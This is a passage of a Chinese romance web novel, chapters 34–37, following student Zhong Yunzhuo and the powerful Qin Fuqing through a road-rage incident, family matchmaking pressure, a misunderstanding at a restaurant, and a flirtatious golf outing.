她紧走着送了几步,然后看着他的背影慢慢消失在了电梯拐角处。 出院那天,涂敬舟像是被憋坏了,一个劲儿地催促刘叔去办理离院手续。 “先把这顿药吃了再走。”护士叮嘱道。 涂敬舟没办法,拿起水壶时,却发现没有热水了。 钟缊酌说:“我去打水吧。” 他们在病房里收拾行李,钟缊酌便跑去外面的水房打热水。 路过电梯口,余光瞥见有人杵在那儿,也不按电梯,就那么静静地站着。 正常来讲,她是不怎么关注与她无关的路人的,可那人的发色太特殊,是挑染的银白色。 钟缊酌大脑“轰”地一下,侧头望去,蒋易凛正背对着她抽烟,有护士从电梯上来,看到他的行为后怒声指责了几句。 蒋易凛嬉皮笑脸地把烟掐了,钟缊酌也顾不上打水了,在他转过身之前,飞快折回了病房。 她的脸色很差,气喘得也不均匀,宋黎若见了纳闷问她怎么了。 钟缊酌抚着胸口,走上前说:“刚刚我在电梯口看到了蒋易凛,不知道他来做什么。” “管他来做什么,在医院他还能掀出什么风浪?”涂敬舟看着满不在乎,可手上的动作明显顿了一瞬。 “不然我们收拾完就赶紧走吧,在他来找麻烦之前。”宋黎若说出自己的想法,“不过也不用太担心,既然秦拂清说已经协调好了,应该不会有问题。” 大家默许了她的提议,提着行李快速从另一侧电梯下楼,直到坐上车,也没见到蒋易凛的身影。 钟缊酌拢了拢被风吹乱的头发,稍稍松了口气。 涂敬舟胸口的伤没完全好,回去后还要静养一段时间,他坐在副驾驶上,钟缊酌跟司机叮嘱:“刘叔,您慢点儿开,不急。” 刘忠自然明白她是怕急刹车时碰到少爷的伤口,点头说:“钟小姐请放心,我会注意的。” 车子行驶到主路,以五六十迈的速度往前开,后面的车等不急,一辆一辆地超了过去。 窗外的风景越来越朦胧,钟缊酌这几日没休息好,正困得要打盹儿,忽听宋黎若“咦”了声,“有辆跑车跟着咱们有段时间了,它怎么不超过去呢?” 钟缊酌坐直身子,眯着眼睛往后看了看。 那是一辆红色的兰博基尼,在一众颜色朴素的轿车中非常扎眼。不知为何,钟缊酌脑中蓦地浮现出那个穿红夹克的男人。 “会不会是在看风景?”她心不在焉道。 前面是一条宽阔的双向八车道,刘忠见车不多,也稍稍加快了一些速度。 几乎是同一时刻,那辆红色的兰博基尼突然冲了出来,并排在同侧的车道行进。 黑色玻璃窗缓缓降下,蒋易凛那张玩世不恭的脸上带着一抹邪笑:“好巧啊,这么早出院,伤好了吗?” 涂敬舟气得不行,转过身子就想骂他,被刘叔制止:“他是故意在激你,别上当。” 说罢,刘忠即刻关闭全部车窗,打算甩开对方。 不料,蒋易凛见这招不管用,怒转了把方向盘,竟然直接靠了过来。 两辆车之间的距离越来越近,眼看就要碰在一起,宋黎若惊呼:“刘叔,他在别咱的车!” “他是不是疯了?”钟缊酌心脏砰砰直跳,脸色煞白,紧张得不得了。 “这小崽子!” “抓紧,我可能要急刹车!” 刘忠几乎擦着隔离带行进,眼睛紧紧盯着后视镜,想找机会减速并入中间的车道。 然而就在此时,他忽然发现,蒋易凛后面跟着的一辆黑色宾利车,非常眼熟。 很快,他反应过来,那是秦拂清的车。 作者有话说:评论区掉落红包~ 第35章 “秦总在后面。”刘忠说出这句话的同时, 顿觉如释重负。 刚刚的一瞬间,他差点儿以为自己的职业生涯就要到此结束了。 钟缊酌摆过头,看到秦拂清的车趁着空挡,已经拐到了第三条车道上, 稍一加速, 便追上了旁边的兰博基尼。 她的心却没有因此平静下来。 钟缊酌不知道秦拂清想要做什么, 可他不是说已经协调好了,难道他也有失误的时候? 来不及思考太多,刘叔已经开始控制减速,但因为心里有了底,他没有急刹车, 一边瞄车距一边观察另外两车的动向。 果然,蒋易凛这次并没有跟着降速, 他的注意力此时全部放在另一辆黑车上。 “妈的。”他狠狠顶了顶后槽牙。 秦拂清的车已经距离他很近,他只要开始减速, 黑车便也减速,他往右侧贴, 黑车便也贴过来。 那是明晃晃地一种警告。 “艹, 真他妈难缠!”蒋易凛嘴里不断骂着脏话,尽管家里有一个爹撑腰, 但脑子正常情况下, 他还是不敢当面和秦拂清闹翻的。 当初他嘴上答应好了, 以为秦拂清就不会再来管这件事, 谁知他今天竟然直接追了过来。 这车上到底有谁在啊?值得他这么大动干戈地。 蒋易凛越想越恼火, 越琢磨越憋屈。 就在他失神的片刻,右侧的车已经找准时机并入了中间的车道,只要再往左侧并一个位置, 他就彻底没有机会了。 蒋易凛咬了咬牙,心下一横,堵上所有力气猛踩住刹车,就算回家被暴打一顿,他也要出这口恶气! 由于惯性,他的身子往前冲了一下,又立马被安全带拉回来,蒋易凛在等着那一刻的剧烈震动。 然而没等这份报复的快感来临,车头忽然一晃,整个车子毫无预兆地朝着右侧歪了过去。 是秦拂清的车顶了上了他的兰博基尼。 蒋易凛怒骂一声,紧打方向盘控制车身,所幸速度不快,两辆车在一声撞击之后很快停了下来,歪歪斜斜地横在了最外侧的车道上。 秦拂清侧过身子,目睹后面那辆轿车慢慢绕过他们,向前方驶去,这才冷着脸,瞥了眼旁边的红色超跑。 同他一样,蒋易凛一动不动地待在原处,既没开窗,也没下车。 在外人眼里,这应该只是一场小小的车祸,轻微碰撞,又都是豪车,不差那点儿钱。 实在不肯让步,最多叫交警来定责就好了。 可秦拂清心里明白,一旦交警过来,处理起来就不是那么简单的事了。 不管是谁的责任,这件事一旦被内部上报,被集团知晓,再传到秦政庭那儿,谁都不知道会有什么样的后果。 蒋易凛现在所面临的情况应该和他相差不多。 两人静坐了几分钟后,最终默契地启动了车子,好似什么都没发生,各自向相反的方向驶离了现场。 有路过的行人好奇地张望几下,纷纷道,怪了,现在的有钱人都这么任性了啊,碰了车既不跟对方讨赔偿也不需要道歉,连个招呼都不打就走了? 半小时后,秦拂清将那辆破损的车子开到三环附近的一座桥边,然后熄火下了车。 这个时间这一带算是比较安逸的,过往的车辆和行人都不多。 秦拂清嘴里衔着根烟,眯起眼睛看着桥下波光粼粼的河面,抬手拨了个电话出去。 “帮我个忙。”这次他连半句客套话都没说,直截了当地讲,“把你的车借我开一周。” “干什么,家里破产了啊。”傅沅宗声音懒洋洋地,又带着点不耐,像是刚睡醒的样子。 “我的车被撞坏了,要去修理,暂时没得开。” 傅沅宗仿佛听到了天大的新鲜事儿,立马关闭公放,把手机拿到耳边,人也精神了,“天灾还是人祸?这不对啊,你秦总还能愁没车开啊,张个嘴,身边儿人不得抢着献车,实在不济,跟集团申请辆公车,总不该沦落到跟我这儿来借吧?” 秦拂清就着冷风吐了口烟圈,敛起眉,语调不轻不重,“跟我撞车的是蒋易凛,他没听我的话,又去找他们麻烦了。” 那边明显愣了片刻,不可思议道:“这小子真敢啊。” 秦拂清简单把发生的过程复述了一遍,又跟他强调:“所以这件事只能跟你说,别人我都不放心,连老季都得瞒着。” 傅沅宗“啧”了声,“不至于吧,他还能对你有二心。” “他也是身不由己,家里那位看得紧。”秦拂清没解释太多,“一会儿发你个位置,把车开到那里等我。” “知道了,大仙儿。” 秦拂清听出他口吻里的抗拒,皱了下眉,“说起来我忙活半天也是为了帮你,一点儿积极性没有啊。” 傅沅宗笑得牙齿打颤,“你为了帮我?谁不知道你到底为了谁,那我投资的另一家酒店也要倒闭了,你要不要帮我托个底?” 对面的秦拂清徒手捻灭烟头,没好气地说:“那也是顺手帮了你。”- 蒋易凛这件事发生没多久,一个周三的下午,秦政庭来了电话,让他今晚回趟四合院。 秦拂清的车倒是已经修理好了,他本想等周六再去取,现在没办法,只好临时放下手头的工作,先去开了回来。 突然把他喊过去,秦拂清没期待有什么好事情发生。 但坐在客房软塌上,袁书礼跟他说起白天霍丰父女俩来家里做客时,秦拂清还是微微吃了一惊。 “你那几间屋子已经装修完好久了,年前说要晾晾味道,现在已经晾得差不多了吧?到底什么时候回来住。”袁书礼顺嘴提起了另外一件事。 秦拂清当然知道早就装修好了,只是现在大院那边有了惦记的人,不想回来而已。 他心不在焉道:“我得空先请个专业团来测测甲醛,确定没有超标了再说。” 袁书礼有点不高兴:“测什么呀,那装修都是用的最上等环保材质,本来就没什么污染,我看你是不想回来吧?” “哪里的话,这不是年纪大了要多注意身体,您放心,我测完没问题就立马搬回来。” 袁书礼哭笑不得,“你年纪大,那我和你爸岂不是要入土了?” 她抿上一口枸杞桂花汤,嫌味道不匀,拿勺子慢慢搅动着,“说起来,你对那霍小姐到底什么想法?人家可是很钟意你呢。” 秦拂清心里一直琢磨着这事儿呢,不知那霍老先生是没来得及劝说还是劝说失败了,总之又给他架在这儿不上不下的。 秦拂清眉眼低垂,淡淡笑了笑说:“您应该了解我的性子,但凡有一点想法,我也不可能毫无行动。” 听罢,袁书礼叹口气,把那茉莉花茶轻轻放到桌上,“想来也是,但你爸和霍总已经说好了,答应让你们试一试。” “要不,你就假装应下来,等交往一段时间之后再说不合适,总不能直接拒绝人家,多伤和气。” 秦拂清扯着唇不言语,半响之后,冷飕飕地回一句,“您是觉得等嚯嚯完人姑娘家之后,再来说拒绝,就不伤和气了是吗?” 袁书礼瞪了他一眼,“没大没小,那你说怎么办才好?” “所以我父亲和霍总到底做了什么交易,非要来撮合这门亲事。”秦拂清问。 “都是些陈年旧事,老早欠的人情,我也不晓得具体情况。” 秦拂清轻轻哼了一声,“陈年旧事,他的人情就非拿我来还啊。” 袁书礼撇过头,心烦意乱地结束话题,“那你自个儿跟你爹说去吧,我算是懒得管了。” “您别管了,白瞎操心。”- 钟缊酌昨晚一整宿都没睡好。 这几日总是做噩梦,梦见她和朋友们出去度假,结果飞机失事了,她不会用降落伞,半天打不开,眼看就要坠到地上。要么就是开车时遇上个疯子横冲直撞,把他们撞出护栏,直接掉到了悬崖下面。 钟缊酌吓出一身的冷汗。 她很怀疑是否因那日险些发生车祸,给她带来了不小的心理阴影。 门口忽然传来一声响动,钟缊酌侧头去看,是冯伯走了进来。 冯盛手里拿着一个礼盒袋子,从包装图案上看,应该是某种名酒。 “缊酌,你这会儿没事,把这个给秦先生送去吧。他在鼓楼大街吃饭,我把饭店名字告诉你,你记一下。” 钟缊酌站起身,伸手接过:“好,他现在要喝呀?” 冯盛点头:“嗯,跟人吃饭,没备好酒,就说把馆里放着的这瓶拿过去。” 钟缊酌听冯伯给她说了饭店名,五十六号院,像是某种做私房菜的地方。 “缊酌——” 钟缊酌穿好衣服,正要往外走时,冯盛又喊她道。 “什么事呀,冯伯。” 冯盛欲言又止,摸了摸花白的胡须,试探着问:“你跟秦先生是不是” “是不是什么?” 冯盛手一挥:“算了,没什么,你赶紧去吧。” 钟缊酌“哦”一声,没多想,根据导航定位打了个车。 一路上交通还算通畅,不到半小时就到了目的地。 三月份气温逐渐回升,钟缊酌只穿一件米白色薄大衣,身姿纤瘦轻盈。 她一手拎着袋子,站在那写着店名的红色牌匾下,给秦拂清发信息。 钟缊酌:【秦总,我到饭店门口了,直接给您拿进去嘛?】 她不知对面是什么身份,怕冒然闯入不太好。 很快,秦拂清的信息跳出来。 FU:【可以,进来吧。】 钟缊酌收起手机,这才放心往里走。 服务台前有身穿旗袍的服务员给她指路,钟缊酌顺着走廊拐了进去。 没走几步,却撞上了正从卫生间里出来的一位熟人,何诗绾。 钟缊酌很是惊讶,没想到她也在这里。 所以,她是和秦拂清一起吃饭来的吗? 何诗绾似乎也认识她,毕竟一起开过好几次讨论会,不过也可能是认识她手里的那瓶酒。 她主动搭起话:“同学,你是给秦总送酒来的?” 钟缊酌点头说是。 何诗绾笑笑:“那给我吧,我帮他拿进去就好。” 钟缊酌第一反应是还是自己亲自送过去比较妥当,她做事向来谨慎。 可这一刻,不知什么心里作祟,竟然觉得其实也没必要那么较真? 看着何诗绾殷切的目光,钟缊酌没再犹豫,将袋子递给她说:“那麻烦你了。” “不麻烦,应该的。” 何诗绾风韵的背影转眼消失在走廊尽头,钟缊酌没什么表情地垂下头,点开手机软件,准备再打车回去。 不料,还没走出饭馆,就有一条新的消息蹦了出来。 FU:【站那别动,等我过去。】 作者有话说:评论区掉落红包~ 第36章 钟缊酌心口一跳。是出什么事了吗? 难道酒拿错了?不对啊, 这袋子是冯伯亲自交给她的。 还是何诗绾不小心把酒瓶打碎了? 钟缊酌捧着手机,惶惶不安地站在走廊一侧。 甚至开始想象秦拂清发火的样子,她要说什么话,怎么做才能弥补上自己的过失。 她透过那弧形的玻璃砖墙, 光影交错中, 看到秦拂清迈着沉稳地步子缓缓走来。 身上依旧是剪裁得体的西装, 一丝不苟地打着领带,只是今天的西装颜色不是黑色,是很有质感的深蓝色。 钟缊酌站得笔直,轻声开口:“秦总,我是做错什么事了吗?” 明媚清润的眸子里, 看似淡定,手指不断摩挲手机后背的动作却出卖了她。 秦拂清双手抄进口袋, 压下心中那份不悦,语调不轻不重地落下:“为什么不自己送来, 而是把酒交给何诗绾?” 秦拂清从来不知道,他身上的气场过于强盛, 讲话的口吻也习惯性带着威严, 即便刻意收了劲儿,还是叫人感到一股威慑力。 钟缊酌屏住呼吸, 调动起所有脑细胞在想怎么解释。 但她实在不理解这有什么好生气的, 她还以为出了什么大事呢。 钟缊酌细声细语地回话:“我们也是恰好碰到, 她主动要求帮忙带过去, 我就没拒绝。” 这种时候, 过程叙述得越简单越好,以免让对方脑补太多。 秦拂清不经意皱了下眉:“她说帮忙你就同意了?你跟她很熟吗,知道她会不会真的带给我, 还是偷偷给去别人?” “不算熟,但是认识,都是一起做项目的同学。”钟缊酌眨着眼睛,挺不服气的样子,“难道她不是跟您来吃饭的呀,还能给谁?” “今天张院长攒的局,拢共摆了两桌,她若是拿到自己那桌喝,我怎么开口?我好意思再跟一小姑娘要酒吗。” 您那么大的派头,哪里会不好意思。 就算您不好意思,旁人但凡有点儿眼力见的,还不立马主动给拿过来。 钟缊酌心里这样想着,但必定不能表露出来,她抿了下唇说:“主要是,我以为您跟何诗绾——” 秦拂清眼底忽然暗了下去:“我跟她怎么了?” 方才脱口而出,差点儿酿成大错。 钟缊酌可不敢当他的面讲那些绯闻八卦,万一人家不愿意被外人知晓这些事,那自己肯定没好果子吃了。 钟缊酌按下情绪,婉转解释道:“因为见何诗绾私下找过您聊项目的事儿,我以为您跟她挺熟的。” 她以为自己掩饰得很好,可秦拂清是怎样的老狐狸,他一眼看出她心里藏着话。 这姑娘太谨慎,探半天口风,最后还是得让他拉下脸来亲自来问。 他眉眼低垂:“你是不是认为我跟何诗绾有什么特殊的关系?” 钟缊酌惊得手机几乎丢掉,他怎么自己讲出来了? 既然如此,也没什么好遮掩的了,她小声“嗯”了一声:“是,很多人这么说,我也是无意听到的,并不是有意窥探您的隐私。” 秦拂清明显不大高兴:“很多人说,你就信了?” “可那次开完讨论会,您跟她在车旁聊得很投入呀,大伙儿都看到了。” 钟缊酌怕他误会自己是个没脑子的,只顾着讲理由,没意识到自己的语气有多么急躁。 空气凝滞了片刻。 秦拂清轻轻瞟过她一眼,眼中带着些锋芒,“何诗绾是小组组长,会定期跟我汇报一些项目进度而已,我们没别的关系。” “噢”钟缊酌心下了然,看来确实是误会了。 但这件事也不能怪她,她又不知道这些。 “你是不是不喜欢看到何诗绾跟我走得太近?”秦拂清露出意味不明的表情。 一瞬间,钟缊酌的呼吸便滞住了。 好似一些见不得光的,连自己都难以察觉的秘密忽然被人扒开,只觉得大脑缺氧,话都说不利索了。 “您、您为什么这么说?我没那个意思。” “你若是不喜欢,以后就让她和老季汇报。”秦拂清不接她的话,只似笑非笑地看着她说。 钟缊酌红了脸,又羞又恼,“这是您的私事,我能有什么喜欢不喜欢的。” 秦拂清看她手足无措的样子,心中暗自想笑。 但自知再继续撩下去便无法收场,于是收起逗人的心思,递了个台阶,“刚刚看你脸色不好,我以为你们之间有什么恩怨。” “我们能有什么恩怨呀” “就像杜薇那样,莫名其妙针对你什么的。” “没有的事,您想太多了。” 聊这么久,话题已然歪到十万八千里之外。 钟缊酌浑身燥热,实在受不了这样的奇怪氛围。 她也顾不得礼数了,直接喝令起来:“您快回去吃饭吧,别让张院长等太久。” 秦拂清眉间一动,没因小姑娘越界的话恼怒。 他轻轻扬了下唇,不着调地回答一声:“行,都听钟小姐的。”- 钟缊酌这几日上课时常走神,甚至被老师点名叫起回答问题时,还游离在状况之外。 “你怎么回事呀,是不是刚开学还没适应?”宋黎若在旁边耳语。 钟缊酌拿签字笔在本上胡乱划着,心不在焉道:“不是,可能昨晚没睡好。” 实际上,只有钟缊酌自己知道,她哪里是没睡好,是睡得太好,以至于白天脑子里想得是他,连晚上做梦都梦到他。 所以是从什么时候开始的? 她和秦拂清之间的关系,好像慢慢变得不一样了。 从前,他总是愿意帮助她,钟缊酌认为那是上位者的乐善好施,尤其在面对她这样一个还没毕业的学生。 可是现在,他似乎已经不再满足于这些,竟然开始公然调戏她。 钟缊酌不知道这意味着什么,但她心里隐隐地躁动不安起来。 她想,与这种背景的男人走得太近,总归不是什么好事 转眼间清明已过,京市路旁的海棠花在春风细雨中绽放开来,预示着春天的到来。 某天中午,吃完午饭,钟缊酌刚爬上床准备看会儿专业书,就听到门口传来楚希雅和白琪叽叽喳喳地聊天声。 白琪说:“何诗绾没追上秦拂清,这段时间正郁闷呢。” 楚希雅:“真的假的,哪儿来的消息?” 白琪关上门,一边脱外套一边跟她讲:“还是她那个死对头跟我们透露的,据说秦拂清现在连项目汇报都让秘书跟她对接,看来是完全没戏了。” “我就知道,人家什么背景什么来历呀,见过的美女多了去了,还真以为有点姿色就能勾搭上” 俩人聊得起劲儿,宋黎若也忍不住过来听上几句,她抬头往对面床上一看,发现钟缊酌正默默地在戴耳机。 “缊酌!你在干嘛!”她喊了一嗓子。 钟缊酌指了指自己的耳朵:“听英语。” “听什么英语啊,快来听八卦。” 钟缊酌摇头:“不行,我要抓紧复习,不然考不过了。” 宋黎若拿她没办法,真是油盐不进,转过头来又加入另外两人的话题里。 钟缊酌把音量调到最大,手上却还拿着操作系统的书,简直乱七八糟的。 她开始进行左右脑互搏,知识虽没掌握多少,但至少外界的声音都没再进到耳朵里。 本来心里就乱,她更不想再听到这些。 等她摘下耳机,周围一片寂静,钟缊酌才发现楚希雅和白琪已经不在了。 宋黎若这时凑到钟缊酌床前,说谈勉约她去钱老板开的那家高尔夫球场打球,问她要不要一起去。 钟缊酌一手托着腮:“你俩约会,我去当电灯泡啊。” “不是约会!他还约了别人。”宋黎若递过去一个鄙夷的眼神,“那可是京市最大的高尔夫球场,你不想试试?我记得你说你球技还不错来着。” “那是在忽悠你呢。” 钟缊酌小时候确实打过一段时间高尔夫,只能说有些天赋,但说技术多好算不上。 她转了转眼睛,想到另外一件事,“谈勉还约了谁?有秦拂清吗?” 宋黎若一听表情立马变了,满脸的坏笑:“喔呦,有秦拂清你才去啊。” 钟缊酌锤了她一拳,“不是,有秦拂清的话我就不去了。” 这一下宋黎若反应更大了,差点儿从椅子上跳起来,“有他你为什么不去?你俩发生什么了?” “什么都没发生。”钟缊酌假装淡定地拢了拢头发,“我就是不想在休假的时候还要看到老板,打工人的苦你不懂。” “这就装起打工人啦,你一个月才工作几天呀。如果你不去,我就怀疑你俩有猫腻。” 宋黎若明显用的是激将法,但钟缊酌没办法解释,她叹口气,“所以真的有秦拂清是吗?” “应该吧,他俩现在合作项目,经常一起行动。” 谈勉只含糊着说还有别人,让她再叫上个姐妹,其实他那边只邀请了秦拂清一人。 按照计划,应该是个四人小团。 可宋黎若才不会按照他的脑回路来,她不仅邀请了缊酌,还叫了大院里好几个朋友,说是人多才热闹。 所以到最后,四个人的约会堪堪变成了八个人。 钱老板的高尔夫球场不愧为京市之最。 广袤的草坪柔软而细腻,在阳光下泛起层层光泽。远处一排整齐的树林高大挺拔,枝叶茂盛,仿佛一道天然的屏障,将球场与外界隔离开来。 每次有聚会活动,秦拂清几乎都是最后一个来,这次却反常地提前到了场。 钱老板也算是他认识的一位故人,两人站在接待区门口的台阶处谈话,远远看到一辆雷克萨斯商务车停在了对面。 从车上下来七个人,其中三个都是熟人,另外几位也稍有印象,先前聚会照过面的。 秦拂清沉静的目光扫过一圈人,最后停在那个小麦色皮肤的男人身上。 谈勉感受到了头顶上的压力,迎着他的视线无力耸耸肩,意思这事儿真不怪他。 钱老板热情地招呼大家往里走,在路过秦拂清身边时,很多人都主动跟他打招呼。 秦拂清礼貌点头回应,可唯独他在意的那个女孩,像是把他当成了透明人,只顾着和旁人讲话。 秦拂清轻轻皱了下眉,钱老板走过来,体贴地问要不要先吃点东西补充体能。 “不必了,直接去更衣室。”秦拂清沉声说。 今天打得是娱乐场,以聊天放松为主。 钟缊酌选了个1号木杆,空挥几下之后发现手感还在。 她姿势也挺标准,然而打出去之后,几乎全部偏离了路线,不是掉进沙坑,就是落到了水里。 “你这水平也就跟我半斤八两吧。”宋黎若揶揄道。 钟缊酌笑:“不,你还是比我强一点儿。” 宋黎若这边已经打上头了,要和谈勉比赛。 俩人也没按规则来,胡打一气,盯着几个球一直往前推,没一会儿就干到了果岭区。 钟缊酌则一直没离开发球地,她揉揉发酸的手腕,想要坐下休息一会儿。 “要不要我帮你指导一下?”赵景年一身利落的运动衫,浓眉大眼,笑着看她。 钟缊酌忙摆手:“我就是随便打打,不麻烦你啦。” 她跑去休息区,和另外几个姑娘喝起了茶饮。 “给你这个,我尝过了味道不错。”孟彤递过来一瓶新的椰子水。 “谢谢。” 钟缊酌拧开瓶盖,仰头“咕咚咕咚”喝完几大口,目光悠然望向远方,看到球道上的两个潇洒人影。 那是正在较量球技的秦拂清和钱老板。 按这速度推断,他们显然是完全按照规则来的,要打满十八个洞。 “秦总好像要搬回四合院那边了。”戴珂突然蹦出一句。 何颂言问:“你确定吗?” “嗯,我那天看到他秘书在往车上装行李呢。” 孟彤也说:“算算时间也差不多了,他家里应该早就装修完了吧。” 钟缊酌没加入讨论,默不作声地放下了手里的瓶子。 这时何颂言颇为遗憾地坦白:“秦总真是英俊潇洒,风度翩翩,可惜要走了,还没见过他腹肌呢。” 孟彤大笑:“你个色女。” 戴珂若有所思道:“他这样的大忙人,会有时间锻炼吗?” “会吧,你看他偶尔露出的小臂,多有力量,我觉得他腹肌说不定还是那种最受欢迎的薄肌。” “是呀,还有胸肌呢。” “你怎么又知道了?” “我哪里知道,我听别人说的” 几人越聊尺度越大,钟缊酌听不得这样的污言秽语,脸上早已红温。 她捂起耳朵,抓狂地表示:“拜托,你们能不能尊重一下秦总呀。” 作者有话说:评论区掉落红包~ 第37章 钟缊酌的嗔怪没起到什么作用, 反而惹来一阵反效果。 这几人像是故意逗人似的,掰开她的手,追着在耳边讲骚话。 钟缊酌没辙了,大喊饶命, 最后从椅子上跳起, 红着脸跑开了。 而宋黎若那边, 已经到了最后一决胜负阶段。 她在落后两球的情况下,把所有希望都寄托在这一杆上。 挥杆上举,手臂自然下落,击球,送杆, 一气呵成。 很完美的一球,可就是运气差了点儿, 落地点和洞口相距不到五厘米。 宋黎若气得直跺脚。 谈勉见了走过来,将球杆往地上一戳, 欠欠地说需不需要帮她指导动作。 “不用。”宋黎若推了他一把,叫他走开。 “其实呢, 你就是神经绷得太紧了, 适当放松一些效果更好。” 谈勉说着拽起她的手腕,“来, 我帮你把握力度。” “都说了不用!” 宋黎若挣开的幅度太大, 忘记手上还握着球杆, 那杆头一下子飞到谈勉脸上, 把额头敲出一个包出来。 他连连后退两步, 捂着脑门“嘶——”了一声。 宋黎若吓坏了,赶紧走过去抓住他的胳膊,“对不起!我不是故意的, 快让我看看怎么样了?” 谈勉闭着眼睛,一副疼痛难忍的模样,顺势反手握住对方,“肯定毁容了,怎么办吧,宋小姐。” 宋黎若看到他额头上已经鼓起一块,又红又肿,内心愧疚不已。 她轻轻吹了两下,“疼不疼啊。” 谈勉仍闭着眼,长睫止不住颤了颤,“疼,疼得睁不开眼。” 宋黎若也顾不上别的了,把球杆丢给球童,扶着旁边的人说:“不打了,我先带你去休息室处理伤口。” 意外发生后,钱老板立刻吩咐工作人员带了些药过来。 宋黎若拆开一个黄色的药膏,拿起棉签蘸抹均匀,准备给对方上药。 却发现谈勉那双雾凇一样的眼睛正一动不动盯着自己。 她咽了下口水,莫名紧张起来。 “你这会儿怎么不闭着眼了?”宋黎若假装漫不经心地一问。 “怕你偷袭我。”谈勉淡定回答。 “我一个弱女子,能偷袭你什么呀。” “比如偷亲我什么的,毕竟我姿色不错。” “你!”宋黎若羞愤得脸颊通红,想不通一个受伤之人,怎么还有力气说出这么不要脸的话。 但毕竟他的伤拜自己所赐,也不能临阵脱逃。 宋黎若就权当没听到,冷着脸说:“那你看别处,别冲着我,我不喜欢干活时被人盯着。” 谈勉轻笑一声,垂下眼睫,嘴角弯起一个好看的弧度,“认真点儿,大小姐,我若是留了疤得让你负责。” 中午吃饭时,谈勉头上裹着一层纱布,神色倦倦地走进包间。 赵景年见了,憋住笑说:“谈公子,怎么打一圈球变成木乃伊了?” 谈勉对于他的嘲讽视而不见,径直走到秦拂清身边,拉了把椅子坐下。 “不就是脑袋被敲了下,至于么。”秦拂清端起一旁的陶瓷茶杯,瞥了眼说。 “没办法,某人非说包严实点儿能好得快。”谈勉没好气道。 钟缊酌和几个姑娘进来时,看到主位竟然空着。 今日他们是客,想来这几位公子哥也是故意低调,把重要位置让给了钱老板。 秦拂清是坐在最外侧的,他的右手边是谈勉,左手边空着,几人绕过了他旁边的位置,依次落座。 最后还剩两个空位时,钟缊酌抢在戴珂前面,宁愿坐在钱老板旁边,将秦拂清的邻位留给了她。 戴珂略显尴尬地挪步到座位上。 赵景年瞧着这一幕,好不稀奇:“秦总是会吃人吗?你们都躲着他。” 实际上,大家心里清楚,那是因为秦拂清身处高位,性子清冷孤傲,自带疏离感,又是女孩子们常常讨论的对象,所以才不好意思坐他旁边。 赵景年常年在国外,不善于人情世故。这话一出口,让在场的一半人都陷入了僵色。 还是孟彤胆子大,主动给大家解围:“秦总魅力太大,我们离他近会紧张。” 饭桌上,钱老板聊起刚刚打球时的趣事儿。 说秦总虽然最后赢了,但他首杆一挥出,差点儿就输掉了十万块。 不用多解释,在场人纷纷露出会心一笑。 “那可是个好兆头啊。”谈勉感叹。 在高尔夫球场上,有一条不成文的规定。 凡是能一杆进洞的,都要给在场工作人员一大笔小费,包括自己的球童五千,其他球童每人一千,还有清洁人员,草坪维护人员,更衣室工作人员,晚上还要举办晚宴,分发奖品,最后算下来,至少要花费小十万。 因为太过罕见,所以采用这种方式庆祝。 面对众人的唏嘘,秦拂清也只低眉笑了笑:“一杆进洞,我可没那种运气。” 饭吃得差不多时,钱老板还在津津乐道地说不停。 这位中年成功人士,不喜欢和年纪太大的人聊,嫌没话题,也不喜欢和段位太低的人聊,嫌只会捧他。如今碰上既年轻又有背景的一群人,可算能打开心扉聊痛快了。 钟缊酌用毛巾擦了擦手,站起身,表示要去趟卫生间。 就在她出门后的没几秒,秦拂清突然也站了起来,“你们聊着,抽根儿烟去。” 吸烟区和卫生间在一个方向,钟缊酌出了餐厅,走在蜿蜒的雕花木质长廊上,余光瞥见有人跟在身后。 看清来人,钟缊酌既没停留,也没打招呼,反而紧走了几步。 从卫生间出来,钟缊酌看到镜子里的自己,发丝微乱,眼睛里尽是焦躁之色。 她拍了拍自己的面颊,干嘛这么紧张啊。 钟缊酌简单理了理头发,才迈着步子往外走。 她走得太快,又低着头,差点儿撞上外面正要进来的人。 钟缊酌抬头,霎时间脸上血色全无,做贼似地到处乱瞟,然后低声说了句“抱歉”,便错过身子让对方先进。 秦拂清却没再继续往前。 他背过手,一动不动注视着前方,淡声说:“钟小姐,我又怎么惹到你了。” 他在说什么乱七八糟的话? 钟缊酌简直快不能呼吸,她只是不想跟他有太多交集而已,怎么就变成惹到她了? 见她不吭声,秦拂清转过身,一个字一个字地往她身上砸:“一整天把我当成个透明人,是觉得跟我打招呼丢人呐,还是压根儿没想搭理我。” “不是,您误会了。” 钟缊酌咬着唇,迫使自己镇定下来,她仰头对上秦拂清的视线,电光火石间,吐出一句,“我只是在人多的时候不好主动搭话,怕别人说我跟您套近乎。” “是吗?”秦拂清眉眼压下来,“那不肯坐我旁边又是因为什么?总不能像她们说的那样,因为我魅力太大,你也会感到紧张?” 这句话,让钟缊酌不知该怎么回答了。 他秦总确实魅力够大,大到让矜贵的小姐们背后开黄腔,可她的紧张和这些无关。 她心下一横,干脆学他的样子,不直接接话,只说自己想说的。 “您也知道自己多受女孩子欢迎,所以我更要跟您保持点距离。” 说完之后,钟缊酌心脏砰砰地跳,甚至不敢看秦拂清的反应,撒腿就跑掉了 一个周末的中午,钟缊酌在家里敷面膜时,接到了母亲的电话。 叶锦在电话里跟她诉苦,说你爹这段时间整天胃疼,怎么劝都不肯去医院,凑合吃点药就糊弄过去,她担心他哪天熬成了胃穿孔。 钟缊酌皱眉:“他现在晚上还喝酒熬夜吗?一天三餐正常?” “喝酒不多,但经常熬夜,基本上一天吃两顿。” “等一会儿我给他打过去。” 母女俩没聊几句就挂了。钟缊酌揭掉面膜,用清水把脸洗干净,边擦边给钟启明打视频电话。 响了好一阵,对面才接起。 钟缊酌看到父亲那一张憔悴的脸,心中酸楚,说出的话却冷硬得很:“您怎么又不好好吃饭,以后晚上也不许再熬夜。” 钟启明坐在电脑旁看图纸,轻声说:“是你妈跟你告的状?” “甭管谁告诉我的,反正您不能再虐待自己的身体,不然你们两个现在就回京,我也不留学了,毕业就工作赚钱,也够养活咱一家的。” “小丫头,还命令起我们了。”钟启明咳嗽一声,“放心吧,你爹还年轻呢,还能再熬几年,没到那个份儿上。” “那您最起码得去趟医院,把胃病治好了。”钟缊酌严肃道。 钟启明无奈,应诺一句:“行,我这几天抽空就去。” “您别想糊弄我,我会问我妈。” 钟缊酌挂掉电话,陶美珍在厨房冲她喊过来吃饭。 她压下心里的烦闷,把手机往桌上一扔,“来了。”- 钟缊酌最近发觉,秦拂清说的是对的。 古玩馆最初来的基本都是新客,大家对展览室的古董也有着浓厚的兴趣,等时间一久,常来的那些客人,已经不怎么会来展览室了。 